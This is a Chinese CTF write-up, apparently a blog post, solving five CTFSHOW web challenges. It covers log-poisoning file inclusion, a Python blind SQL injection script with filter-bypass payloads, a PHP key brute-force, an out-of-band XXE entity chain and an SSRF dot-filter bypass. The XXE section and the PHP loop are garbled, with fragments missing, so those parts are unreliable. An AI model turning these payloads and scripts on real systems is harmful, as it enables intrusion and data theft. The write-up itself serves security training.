您当前的位置: 首页 > 

CTFSHOW WEB_AK赛

发布时间:2020-07-31 20:23:13 ,浏览量:6

题目地址http://ctf.show

目录
        • 签到_观己
        • web2_观星
        • web3_观图
        • web4_观心
        • web1_观字
签到_观己

既然是签到,那我们就去猜一下flag的位置以及文件名 payload:file=/flag.txt 结束 如果猜不到呢? 1、伪协议 尝试用伪协议中的data(具体伪协议的用法可参考https://blog.csdn.net/nzjdsds/article/details/82461043)发现allow_url_include没有开启,还得另寻他法。 2、日志包含 让file=/var/log/nginx/access.log发现可以读取nginx的日志内容,那我们可以试试日志包含写一句话。(其中日志中有客户端访问的地址,以及UA信息) 在这里插入图片描述

接下来抓包修改UA中的内容 在这里插入图片描述 在这里插入图片描述 接着访问 在这里插入图片描述 就能看到 /flag.txt cat打开即可

web2_观星

常规的sql盲注payload大致为 id=1^if(ascii(substr(database(),1,1))=102,2,3) 当ascii(substr(database(),1,1))=102为真时,则id=1^2=3 否则就是id=1^3=2 在本题中' , 空格 等号 like ascii被过滤, 所以基于上面的payload模板找到替代品即可 过滤了空格可以用括号代替;过滤了单引号可以用16进制代替;过滤了逗号,对于substr可以用substr(database() from 1 for 1 )代替substr(database(),1,1),if中有逗号可以用case when代替if;过滤了ascii可以用ord代替;过滤了等号和like可以用regexp代替。 这样上面的常规语句就可以转化为 id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end 下面给出盲注脚本(写的比较简陋,大家见谅)

#author  羽 import requests
url="http://733ff90c-f8ab-4a3b-af6e-3ebb2f4a7b12.chall.ctf.show/index.php?id=1^" flag="" for i in range(1,50): print("i="+str(i)) for j in range(38,126): #u="case(ord(substr(database()from({0})for(1))))when({1})then(2)else(3)end".format(i,j)  #库名  web1 #u="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #表名 flag、page、user #u="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #列名 FLAG_COLUMN、flag u="case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #flag字段 u=url+u
        r=requests.get(u) t=r.text if("I asked nothing" in t): flag+=chr(j) print(flag) break 
web3_观图

访问源代码看到showImage.php?image=Z6Ilu83MIDw=猜测可能后面是文件名的base64,然后直接访问showImage.php得到源码,发现原来是des加密文件名得到的。 那么目的就很明确了,得到key,就可以直接读去config.php的内容了。 因为php rand()函数产生的数值的范围最大为32768所以爆破具有很高的可行性

/*author 羽 */  $key = substr(md5('ctfshow'.$i),3,8); $image="Z6Ilu83MIDw="; $str = openssl_decrypt($image, 'bf-ecb', $key); if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){ print($str." "); print($i); break; } } ?> 

得到i=27347 那么key我们就得到了,直接加密config.php就行啦

 

 

%remote;%int;%send; ]>beeAny bugs?

另一个为test.dtd 在这里插入图片描述 内容为

">
%p2;

然后访问即可得到flag 在这里插入图片描述

web1_观字

没有过滤的话直接url=http://192.168.7.68/flag就可以拿到flag 看到过滤了点(.)首先想到的是ip转10进制将192.168.7.68转换为10进制后为3232237380发现还是有问题,仔细一看竟然过滤了0,好吧。然后经过其他师傅提醒,curl可以用句号(。)代替点(.) 直接url=http://192。168。7。68/flag就ok啦

关注
打赏
1688896170
查看更多评论

暂无认证

  • 6浏览

    0关注

    115984博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文
立即登录/注册

微信扫码登录

0.0545s